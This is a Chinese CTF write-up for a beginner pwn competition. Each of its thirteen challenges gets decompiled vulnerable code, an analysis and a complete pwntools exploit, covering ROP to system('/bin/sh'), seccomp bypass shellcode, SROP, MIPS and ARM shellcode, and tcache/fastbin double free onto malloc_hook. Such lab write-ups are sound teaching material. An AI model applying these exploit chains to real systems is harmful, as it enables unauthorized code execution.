让新生重获新生的新生赛
0x00 前言 这新生赛难度新生打不了一点,这是让我这种菜鸡获得新生的比赛(但是AK了
0x01 hello_world(签到) 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall main (int argc, const char **argv, const char **envp) { char buf[20 ]; init(); printf ("%s" , "please input your name: " ); read(0 , buf, 0x48 uLL); printf ("Welcome to XYCTF! %s\n" , buf); printf ("%s" , "please input your name: " ); read(0 , buf, 0x48 uLL); printf ("Welcome to XYCTF! %s\n" , buf); return 0 ; }
漏洞很明显,两次栈溢出,都能溢出0x28字节。题目开了PIE,但这不重要,现在的当务之急是泄露出libc地址,因为程序并没有后门。题目给了libc附件,经过查表得知是libc6_2.35-0ubuntu3.6_amd64。
在做这道题的时候第一反应是,先泄露程序基址,然后在buf上构造fmt payload,调用printf泄露libc地址,然后返回到start后,再溢出进行getshell。当我调试好泄露程序基址的payload之后我转念一想,为什么不直接泄露libc地址既然如此?这样的话程序的两次溢出就已经够用了。
思路&调试 众所周知,一般libc地址或者程序虚拟地址啥的都不会满一个字长然后占据满一个内存单元,否则地址容易随着前面内容的打印而一起被泄露出去,所以高位必须空出来至少一个字节用\x00阻断。字符串后加\x00同理。但是如果溢出可以把某个地址之前的\x00覆盖成可打印字符,那么后面的地址就会被连带出来从而泄露libc。
在本地调试,断点在printf,输入name后查看栈情况:
可以看到printf的ret地址就是一个libc地址。顺带一提,这里显示的__libc_start_call_main+128在2.35的libc下其实是__libc_start_main_ret,这个在libc-database可以直接查到偏移(就是0x29d90),但是通过pwntools是查不到的。
那么理论上我只要填充0x28+2个字节的padding就能将这个libc地址带出。注意如果用sendline函数的话,payload后会多一个回车,所以payload长度应该是0x28+1就好了。得到libc基址之后,第二个溢出就直接system(/bin/sh)就好了,需要注意的是这里会出现栈平衡对齐失败打不通的情况,在前面加个ret就好了,不再赘述。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level = 'debug' r = process('./vuln' ) libc = ELF('./libc.so.6' ) rdi_addr = 0x2a3e5 ret_addr = 0x29139 str_bin_sh_addr = 0x1d8678 one = [0xebc88 , 0xebc81 , 0xebd43 , 0xebc85 , 0xebce2 , 0xebd38 , 0xebd3f ] r.sendline(b'a' *(0x20 +6 )+b'b' ) r.recvuntil(b'b\n' ) leak_addr = u64(r.recvuntil(b'\nplea' , drop=True ).ljust(8 , b'\x00' )) libc_base = leak_addr-0x29d90 log.success(hex (libc_base)) r.send(b'a' *32 +p64(1 )+p64(libc_base+ret_addr)+p64(libc_base+rdi_addr) +p64(libc_base+str_bin_sh_addr)+p64(libc_base+libc.sym['system' ])) r.interactive()
0x02 invisible_flag 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall main (int argc, const char **argv, const char **envp) { void *addr; init(); addr = mmap((void *)0x114514000 LL, 0x1000 uLL, 7 , 34 , -1 , 0LL ); if ( addr == (void *)-1LL ) { puts ("ERROR" ); return 1 ; } else { puts ("show your magic again" ); read(0 , addr, 0x200 uLL); sandbox(); ((void (*)(void ))addr)(); return 0 ; } }
很明显的shellcode题,但是有沙箱,扔到seccomp-tools看看情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013 0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
好好,execve禁了就算了,把orw也都禁了,快乐的新生赛(滑稽)。无所谓,刚好最近细学了沙箱绕过。这里我们先用openat打开文件,然后用sendfile就可以输出flag了。知道绕过方法和函数参数表后就可以开始手搓汇编了。也可以用pwntools自带的shellcraft来生成shellcode。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = remote('xyctf.top' , 35854 ) sc = ''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall ''' payload = asm(sc) r.sendline(payload) r.interactive()
0x03 static_link 分析 题目是静态编译的,题目除了一个栈溢出什么都没有。system不存在于符号表中,也没有execve,结合符号表中有的函数,有三种思路:
调用mprotect开辟一块有可执行的内存,然后调用read向这块内存写入shellcode。
orw。
ret2syscall
这里采用了第一种思路,在bss段开辟了rwx权限的内存。静态编译题有个好处就是不怕找不到gadget。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = remote('xyctf.top' , 59270 ) mprotect_addr = 0x4482C0 read_addr = 0x447580 bss_addr = 0x4C7000 rdi_addr = 0x401f1f rsi_addr = 0x409f8e rdx_addr = 0x451322 payload = b'a' *0x28 payload += p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr) + \ p64(0x1000 )+p64(rdx_addr)+p64(7 )+p64(mprotect_addr) payload += p64(rdi_addr)+p64(0 )+p64(rsi_addr)+p64(bss_addr + 0x300 )+p64(rdx_addr)+p64(0x100 )+p64(read_addr) payload += p64(bss_addr+0x300 ) shellcode = asm(shellcraft.sh()) r.sendline(payload) r.sendline(shellcode) r.interactive()
0x04 Guestbook1 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void __cdecl GuestBook () { int index; char name[32 ][16 ]; unsigned __int8 id[32 ]; puts ("Welcome to starRail." ); puts ("please enter your name and id" ); while ( 1 ) { while ( 1 ) { puts ("index" ); __isoc99_scanf("%d" , &index); if ( index <= 32 ) break ; puts ("out of range" ); } if ( index < 0 ) break ; puts ("name:" ); read(0 , name[index], 0x10 uLL); puts ("id:" ); __isoc99_scanf("%hhu" , &id[index]); } puts ("Have a good time!" ); }
主要的函数如上,不能整数溢出,但是有一个很明显的数组越界漏洞,在index<=32的地方。那么我们就可以通过id[32]劫持到rbp。那么思路就是栈迁移。rbp记录了调用者的栈帧指针,所以只要把我们要返回的地址写到栈上,然后劫持rbp为该地址-8的位置即可。但是程序没有办法泄露栈地址,所以要爆破1/16的几率。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(log_level='debug' ) p = process('./pwn' ) backdoor = 0x40133A pay = p64(backdoor)*2 p.recvuntil(b"index" ) p.sendline(str (32 ).encode()) p.recvuntil(b"name:" ) p.send(pay) p.recvuntil(b"id:" ) p.sendline(str (0x60 ).encode()) p.sendline(str (-1 ).encode()) p.interactive()
0x05 babyGift 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 GetInfo () { char s[32 ]; char v2[32 ]; printf ("Your name:" ); putchar (10 ); fgets(s, 32 , stdin ); printf ("Your passwd:" ); putchar (10 ); fgets(v2, 64 , stdin ); return Gift(v2); }
然后程序还给了一个gift函数,但是实际上是一些gadget,而且在getinfo结束之后一定会运行这些gadget,所以栈布局要考虑上这个函数。这个gift实际上实现了把rdi中的内容放进rbp里这个功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:0000000000401219 ; void Gift () .text:0000000000401219 public Gift .text:0000000000401219 Gift proc near ; CODE XREF : GetInfo +7F↓p .text:0000000000401219 .text:0000000000401219 var_8 = qword ptr -8 .text:0000000000401219 .text:0000000000401219 ; __unwind { .text:0000000000401219 endbr64 .text:000000000040121D push rbp .text:000000000040121E mov rbp, rsp .text:0000000000401221 mov [rbp+var_8], rdi .text:0000000000401225 nop .text:0000000000401226 pop rbp .text:0000000000401227 retn .text:0000000000401227 ; } // starts at 401219 .text:0000000000401227 Gift endp
有一个很明显的栈溢出,应该就是突破口了。
思路 题目给了libc附件,首先要考虑的是如何泄露libc。程序里没有puts函数,所以考虑用printf函数,利用fmt来泄露栈上残留的libc地址。printf函数会判断eax是否为0,若不为0则要求栈平衡对齐,为了绕开这个问题,我们利用0x401202处mov eax,0;call _printf
的gadget,而不用printf@plt。然后要回到main函数重新执行栈溢出。这里的payload应该是:
1 2 3 payload = b'%27$p' payload = payload.ljust(0x20 , b'\x00' ) payload += p64(0 )+p64(call_printf)+p64(1 )+p64(start_addr)
call_printf完了之后会进入到gift函数,p64(1)是为了绕过pop rbp那个gadget,不然会把start_addr吞掉。好家伙,这个gadget反而是害人的东西。
经过调试,发现27偏移处可以泄露__libc_start_main_ret的地址,然后就可以获得system和binsh的地址。那接下来就栈溢出劫持ret地址getshell就好了。但是有一个问题需要注意,system会卡在movaps上,也就是又遇到了栈平衡的问题。这里不能通过加ret来解决因为溢出的字节不够,所以只好去翻一翻libc文件,找到system函数里跳过push或者pop语句后的地址。因为调试的时候我们发现通常system会卡在do_system这个函数里,所以通过gdb看到偏移,我们在IDA中找到这个函数,并且跳过他的push语句。
我们跳过push r15
,也就是直接从0x50902开始就能绕过栈平衡问题。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *r = process('./vuln' ) libc = ELF('./libc.so.6' ) context.log_level = 'debug' ret = 0x40101a printf_plt = 0x401084 printf_got = 0x403FD8 main_addr = 0x4012AF gift = 0x401219 call_printf = 0x401202 start_addr = 0x4010B0 r.sendlineafter(b'name' , b'a' *0x10 ) payload = b'%27$p' payload = payload.ljust(0x20 , b'\x00' ) payload += p64(0 )+p64(call_printf)+p64(1 )+p64(start_addr) r.sendlineafter(b'passwd' , payload) r.recvuntil(b'0x' ) leak_add = int (r.recv(12 ), 16 ) libcbase = leak_add-libc.symbols['__libc_start_main' ]-128 system = libcbase+libc.symbols['system' ] log.success(hex (libc.symbols['system' ])) str_bin_sh = libcbase+next (libc.search(b'/bin/sh' )) rdi_ret = libcbase+0x2a3e5 do_system_addr = libcbase+0x50902 log.info('libcbase ' +hex (libcbase)) payload = b'a' *(0x28 )+p64(rdi_ret)+p64(str_bin_sh)+p64(do_system_addr) r.sendlineafter(b'passwd' , payload) r.interactive()
0x06 intermittent 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __fastcall main (int argc, const char **argv, const char **envp) { unsigned __int64 i; void (*v5)(void ); _DWORD buf[66 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); init(argc, argv, envp); v5 = (void (*)(void ))mmap((void *)0x114514000 LL, 0x1000 uLL, 7 , 34 , -1 , 0LL ); if ( v5 == (void (*)(void ))-1LL ) { puts ("ERROR" ); return 1 ; } else { write(1 , "show your magic: " , 0x11 uLL); read(0 , buf, 0x100 uLL); for ( i = 0LL ; i <= 2 ; ++i ) *((_DWORD *)v5 + 4 * i) = buf[i]; v5(); return 0 ; } }
shellcode题,但是题目只能把我们写的12个字节shellcode写进0x114514000中,并且每四个字节之间会有很多\x00的空挡。直接写sh肯定不行,所以我们写一个shellcode loader,也就是先构造一个read函数,然后再读取sh的shellcode。
调试 查询之后发现 00 00 add BYTE PTR [rax], al
,如果要绕过那些空档,那么需要确保rax里存的是一个合法的地址。但是会占用很多字节,地址可能在四个字节写不下。我们先来看一下当时寄存器的状况。(不要在意将要执行的指令,我是用exp来调试的)
rdx放了mmap的地址,rdi是0,那只要把rdx中的内容放到rsi中后,syscall就能执行read了。push rdx; pop rsi
总共四个字节刚好。因为rip是从mmap地址+4开始的,所以后面写入sh的shellcode之前要填充4个junkdata。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(log_level='debug' , arch='amd64' ) r = process('./vuln' ) shellcode = asm(shellcraft.sh()) sc = asm(''' push rdx pop rsi syscall ''' )print (len (sc))pause() r.sendline(sc) r.sendline(b'a' *0x4 +shellcode) r.interactive()
0x07 fmt 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall main (int argc, const char **argv, const char **envp) { char buf1[32 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(); printf ("Welcome to xyctf, this is a gift: %p\n" , &printf ); read(0 , buf1, 0x20 uLL); __isoc99_scanf(buf1); printf ("show your magic" ); return 0 ; }
这道题的fmt不同往常针对printf函数族,而是针对scanf的。第一次接触,上网查了半天,唯一一篇讲scanf格式化字符串漏洞的文章还要钱,所以就自己去尝试调试了。然后发现像%n,%p这样的格式化字符串也能用在scanf里面,偏移也能用。调试发现到ret地址的偏移是13,本来想直接%13$s劫持程序控制流,发现不行,调试发现卡在了类似[reg]这样的指令上,尝试其他的格式化字符串也是一样的结果。
因为scanf第二个参数被解析的时候会被当作指针处理,如果不指向一个合法地址就会报错。此时rdx指向的是一条指令而非地址,所以不可行。除非在栈上能找到一个指针指向ret地址的栈,但很可惜找不到。想到可以模仿printf那样任意地址写,我们只需要把某个地址写到栈上再通过偏移来修改即可。程序泄露了libc地址,但是没有泄露栈地址,给了libc附件是2.31版本的,所以考虑改exit_hook为后门地址。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *e = ELF('./vuln' ) r = remote('172.21.78.37' , 50530 ) context.log_level = 'debug' context.arch = 'amd64' r.recvuntil(b'gift: 0x' ) gift = int (r.recv(12 )[-12 :].rjust(16 , b'0' ), 16 ) print (hex (gift))hook = gift+0x1c12a8 r.send(b'%8$s\x00\x00\x00\x00' +p64(hook)*3 ) r.sendline(p64(0x4012BE )) r.interactive()
0x08 simple_srop 分析 程序很简单,就一个read溢出,没有其他东西了。但是在函数列表中可以看到sandbox和rt_sigreturn两个函数。我们先扔到seccomp-tools看下开了什么沙盒。
1 2 3 4 5 6 7 8 9 10 11 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64 ) goto 0008 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff ) goto 0008 0005 : 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006 : 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008 0007 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008 : 0x06 0x00 0x00 0x00000000 return KILL
禁用了execve,那我们就用srop+orw的方式获取flag。srop在我理解中其实就是可以控制全部寄存器的一种手段。我们利用pwntools自带的srop框架功能来编写exp就行。在orw之前我们还需要解决一个问题,就是要把flag这个字符串写到程序当中,因为open需要用到flag字符串的地址。我们考虑把flag写到bss段。flag读取出来后也是存在bss段。
在写exp的时候我遇到了一个问题,我把rbp和rsp写成bss+offset的形式打不通,而写了超出程序使用的虚拟内存地址就可以了。另外就是打远程的时候时好时坏也不知道是exp的问题还是靶机的问题。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *e = ELF('./vuln' ) r = remote('172.21.78.37' , 49320 ) context.log_level = 'debug' context.arch = 'amd64' syscall = 0x40129D sigretrun = 0x401296 main = 0x4012A3 bss = e.bss()+0x100 flag_str = bss store_flag = bss+0x500 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = bss frame.rdx = 0x400 frame.rip = syscall frame.rbp = 0x404168 frame.rsp = 0x404168 flag_pay = b'flag\x00\x00\x00\x00' .ljust( 0x28 , b'a' )+p64(sigretrun)+bytes (frame) r.sendline(flag_pay) sleep(0.2 ) openflag = SigreturnFrame() openflag.rax = 0x2 openflag.rdi = flag_str openflag.rsi = 0x0 openflag.rcx = 0x0 openflag.rdx = 0x0 openflag.rip = syscall openflag.rbp = 0x404268 openflag.rsp = 0x404268 readflag = SigreturnFrame() readflag.rax = 0x0 readflag.rdi = 3 readflag.rsi = store_flag readflag.rdx = 0x100 readflag.rip = syscall readflag.rbp = 0x404368 readflag.rsp = 0x404368 writeflag = SigreturnFrame() writeflag.rax = 0x1 writeflag.rdi = 0x1 writeflag.rsi = store_flag writeflag.rdx = 0x100 writeflag.rip = syscall writeflag.rbp = 0xdeadbeef writeflag.rsp = 0xdeadbeef payload = b'flag\x00\x00\x00\x00' payload += p64(sigretrun) payload += bytes (openflag) payload += p64(sigretrun) payload += bytes (readflag) payload += p64(sigretrun) payload += bytes (writeflag) sleep(0.2 ) r.sendline(payload) r.interactive()
0x09 EZ1.0 分析 mips架构异构pwn,上题的前一天晚上刚接触异构pwn的简单rop,这就来了个shellcode题。程序很简单,除了个read溢出之外什么都没有了,静态编译。检查保护发现NX没开,mips好像也不支持NX,所以可以写shellcode到栈上。但是又没泄露栈地址,泄露起来比较麻烦,主要是找gadget很麻烦,所以考虑写到bss段上然后栈迁移到bss上执行。mips中的fp寄存器相当于ebp,ra相当于eip。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(arch='mips' , os='linux' , log_level='debug' ) r = process(['qemu-mipsel-static' , '-g' , '9999' , './mips' ]) e = ELF('./mips' ) r.recv() sc = asm(''' lui $t6,0x2f62 ori $t6,$t6,0x696e sw $t6,28($sp) lui $t7,0x2f2f ori $t7,$t7,0x7368 sw $t7,32($sp) sw $zero,36($sp) la $a0,28($sp) addiu $a1,$zero,0 addiu $a2,$zero,0 addiu $v0,$zero,4011 syscall 0x40404 ''' )print (len (sc))mprotect_addr = 0x41DC0C read_addr = 0x400860 payload = b'a' *64 +p32(e.bss()+0x200 -0x60 +68 )+p32(read_addr) r.send(payload) payload = b'a' *68 +p32(e.bss()+0x200 +68 )+asm(shellcraft.sh()) r.send(payload) r.interactive()
0X0A EZ2.0 分析 arm架构异构pwn,也是shellcode题,和mips不同的是,这个程序开启了NX,所以想要执行shellcode还得先用mprotect在bss段开辟一段可执行的内存空间才行,然后把栈迁移到bss去执行shellcode。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='arm' , os='linux' , log_level='debug' ) r = remote('172.21.78.37' , 58744 ) e = ELF('./arm' ) r.recv() sc = asm(''' add r0, pc, #12 mov r1, #0 mov r2, #0 mov r7, #11 svc 0 .ascii "/bin/sh\\0" ''' )pop_r0_4_lr = 0x521BC pop_r7_pc = 0x00027d78 pop_r0_pc = 0x5f73c mprotect_addr = 0x28F10 read_addr = 0x10588 payload = b'a' *0x40 +p32(e.bss()+0x44 )+p32(pop_r0_pc)+p32(mprotect_addr)+p32(pop_r0_4_lr)+p32(e.bss()) + \ p32(0x1000 )+p32(7 )+p32(0 )+p32(0 )+p32(read_addr) r.sendline(payload) payload = sc.ljust(0x44 , b'\x00' ) + p32(e.bss()) r.sendline(payload) r.interactive()
0x0B malloc_flag 分析 堆题,但是静态反编译之后看起来很复杂,其实就是输出了一堆中文而已。另外有一些之前没接触过的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 stream = fopen("flag" , "rb" ); if ( stream ){ fseek(stream, 0LL , 2 ); n = ftell(stream); rewind(stream); ptr = malloc (0x100 uLL); if ( ptr ) { v11 = fread((char *)ptr + 16 , 1uLL , n, stream); if ( v11 == n ) { fclose(stream); free (ptr); v5 = 0 ; ... } ... } ... }
fseek
函数用于重定位流上的文件指针ftell
函数用于返回当前文件的指针rewind
函数用于将文件指针移动到文件起始位置
所以程序开头的代码简单来讲就是打开flag文件后,计算flag内容长度,然后读到了一个大小为0x100的堆内存上,并释放掉。题目给了libc附件,显示是2.31版本,所以这个chunk被释放之后会被放到tcachebin中。所以我们只要再申请一个0x100的chunk就能得到包含flag的chunk。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *r = process('./vuln' ) r.recv() r.sendline(b'1' ) r.recv() r.sendline(b'flag' ) r.recv() r.sendline(b'0x100' ) r.recv() r.sendline(b'4' ) r.recv() r.sendline(b'flag' ) print (r.recv())r.interactive()
0x0C fastfastfast 分析 题目提示了要用fastbin attack。题目提供了create、delete和show三种函数功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void __cdecl create () { unsigned int v0; unsigned int idx; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("please input note idx" ); __isoc99_scanf("%u" , &idx); if ( idx <= 0xF ) { v0 = idx; note_addr[v0] = malloc (0x68 uLL); puts ("please input content" ); read(0 , note_addr[idx], 0x68 uLL); } else { puts ("idx error" ); } }
create函数限制申请的idx最大为15,并且固定了每个chunk的大小为0x68。
1 2 3 4 5 6 7 8 9 10 11 12 13 void __cdecl delete () { unsigned int idx; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("please input note idx" ); __isoc99_scanf("%u" , &idx); if ( idx <= 0xF ) free (note_addr[idx]); else puts ("idx error" ); }
delete函数中有很明显的UAF漏洞,并且有机会实现double free。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void __cdecl show () { unsigned int idx; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("please input note idx" ); __isoc99_scanf("%u" , &idx); if ( idx <= 0xF ) { if ( note_addr[idx] ) write(1 , note_addr[idx], 0x68 uLL); else puts ("note is null" ); } else { puts ("idx error" ); } }
show函数可以用来泄露地址。
题目给出libc是2.31版本,也就是有tcache。程序固定了chunk size,也就阻断了直接利用unsortedbin的手法。tcachebin中的chunk不会合并,但是fastbin中的chunk在触发fastbin_consolidate时可以合并,两个0x68的chunk合并在一起就可以进入到smallbin,这样就有机会泄露libc地址了。程序用scanf来读取idx,利用scanf我们就能触发fastbin_consolidate。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for i in range (12 ): add(i) for i in range (9 ): delete(i) r.recvuntil(b'>>> ' ) r.sendline(b'1' ) r.recvuntil(b'please input note idx' ) r.sendline(b'1' *0x500 ) show(7 ) r.recvuntil(b'\n' ) main_arena = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' )) libcbase = main_arena-0x01eccb0 malloc_hook = libcbase+0x01ecb70 one = [0xe3b2e , 0xe3b31 , 0xe3b34 ] free_hook = libcbase+0x1eee48 print ("malloc_hook" , hex (malloc_hook))print ("libcbase:" , hex (libcbase))
泄露了libc地址后,考虑如何将chunk申请到hook处。因为有tcache,并且题目有uaf,所以最方便的的double free方法是同时塞到tcachebin和fastbin中。具体操作是,先填满tcachebin,然后释放多两个同样大小的chunk进fastbin,之后从tcachebin里面取一个chunk出来,再次释放fastbin中的chunk,这样chunk就会存在于两个bin中。tcachebin的优先级大于fastbin,所以先取一个chunk,修改其fd为hook,然后取到fastbin中的第二个chunk时就是malloc hook的位置了,然后修改其为ongadget即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 delete(9 ) delete(10 ) add(6 ) delete(10 ) add(13 , p64(malloc_hook-0x33 )) for i in range (0 , 6 ): add(i) add(0 ) add(14 , b'\x00' *0x23 +p64(one[1 ]+libcbase))
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *r = process('./vuln' ) libc = ELF('./libc-2.31.so' ) e = ELF('./vuln' ) context.log_level = 'debug' def dbg (): gdb.attach(r) pause() def add (idx, content=b'/bin/sh\x00' ): r.recvuntil(b'>>> ' ) r.sendline(b'1' ) r.recvuntil(b'please input note idx' ) r.sendline(str (idx).encode()) r.recvuntil(b'please input content' ) r.sendline(content) def show (idx ): r.recvuntil(b'>>> ' ) r.sendline(b'3' ) r.recvuntil(b'please input note idx' ) r.sendline(str (idx).encode()) def delete (idx ): r.recvuntil(b'>>> ' ) r.sendline(b'2' ) r.recvuntil(b'please input note idx' ) r.sendline(str (idx).encode()) for i in range (12 ): add(i) for i in range (9 ): delete(i) r.recvuntil(b'>>> ' ) r.sendline(b'1' ) r.recvuntil(b'please input note idx' ) r.sendline(b'1' *0x500 ) show(7 ) r.recvuntil(b'\n' ) main_arena = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' )) libcbase = main_arena-0x01eccb0 malloc_hook = libcbase+0x01ecb70 one = [0xe3b2e , 0xe3b31 , 0xe3b34 ] free_hook = libcbase+0x1eee48 print ("malloc_hook" , hex (malloc_hook))print ("libcbase:" , hex (libcbase))delete(9 ) delete(10 ) add(6 ) delete(10 ) add(13 , p64(malloc_hook-0x33 )) for i in range (0 , 6 ): add(i) add(0 ) add(14 , b'\x00' *0x23 +p64(one[1 ]+libcbase)) r.recvuntil(b'>>> ' ) r.sendline(b'1' ) r.recvuntil(b'please input note idx' ) r.sendline(b'1' ) r.interactive()
0x0D one_byte 分析 程序提供了add,delete,view和edit四个函数。其中程序对chunk管理添加了inused标记,size标记,chunk地址标记,三个list都在bss段上,不在堆内存上。程序限制了chunk数量最多为32个,size最大为0x200。
在delete函数,释放一个chunk后程序会将inused标记置零,并且所有函数都会检查inused标记。也就是说并没有uaf漏洞。但是在edit函数有一个很明显的off by one的漏洞,可以修改下一个相邻的chunk的size字段。view函数输出的size以size list中的size为准,所以没法简单地通过chunk重叠来泄露信息。
想要泄露libc地址,首先得找到一个chunk的fd指向main_arena或者其他libc地址,而且不是释放的状态才能被泄露出来。这里有一个比较好想的思路,那就是把一个chunk塞进unsortedbin中然后再取出来就能泄露了。
那么下一步就该想怎么修改fd而打到hook处getshell了。但是这个程序没有uaf,没法直接修改fd,想要实现这一点,要想办法实现double free。显然要利用off by one来实现。这里的想法是:首先用off by one使chunk1和chunk2重叠,释放掉chunk1使其进入unsortedbin中,其中两个chunk大小都要大于fastbin大小,chunk1大于chunk2,然后取chunk1-chunk2的大小,利用unsortedbin切割来使chunk2依然留在unsortedbin中,但是因为chunk2并没有被释放过,所以你既可以操控它,它又在bin中,如果释放一次chunk2,它会进入tcachebin,那就造成了double free,有点像曲线地实现了house of botcake的感觉。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *r = process('./vuln' ) libc = ELF('./libc.so.6' ) e = ELF('./vuln' ) context.log_level = 'debug' def dbg (): gdb.attach(r) pause() def add (idx, size ): r.recvuntil(b'>>> ' ) r.sendline(b'1' ) r.recvuntil(b'please input chunk_idx: ' ) r.sendline(str (idx).encode()) r.recvuntil(b'Enter chunk size: ' ) r.sendline(str (size).encode()) def delete (idx ): r.recvuntil(b'>>> ' ) r.sendline(b'2' ) r.recvuntil(b'please input chunk_idx: ' ) r.sendline(str (idx).encode()) def view (idx ): r.recvuntil(b'>>> ' ) r.sendline(b'3' ) r.recvuntil(b'please input chunk_idx: ' ) r.sendline(str (idx).encode()) def edit (idx, content=b'/bin/sh\x00' ): r.recvuntil(b'>>> ' ) r.sendline(b'4' ) r.recvuntil(b'please input chunk_idx: ' ) r.sendline(str (idx).encode()) r.sendline(content) for i in range (7 ): add(i, 0x90 ) add(7 , 0x98 ) add(8 , 0xf0 ) add(9 , 0x90 ) add(10 , 0x90 ) add(11 , 0x90 ) for i in range (6 , -1 , -1 ): delete(i) payload = b'\x00' *0x98 +p8(0xa1 ) edit(7 , payload) for i in range (12 , 12 +7 ): add(i, 0x190 ) for i in range (12 , 12 +7 ): delete(i) delete(8 ) add(19 , 0xf0 ) view(9 ) libc_base = u64(r.recv(6 )[-6 :].ljust(8 , b'\x00' )) - 0x1ECBE0 log.success('libc_base: ' + hex (libc_base)) malloc_hook = libc_base+0x1ecb70 one = [0xe3afe , 0xe3b01 , 0xe3b04 ] for i in range (0 , 7 ): add(i, 0x90 ) add(20 , 0x90 ) delete(0 ) delete(9 ) payload = p64(malloc_hook) edit(20 , payload) add(21 , 0x90 ) add(22 , 0x90 ) payload = p64(libc_base+one[1 ]) edit(22 , payload) add(23 , 0x90 ) r.interactive()
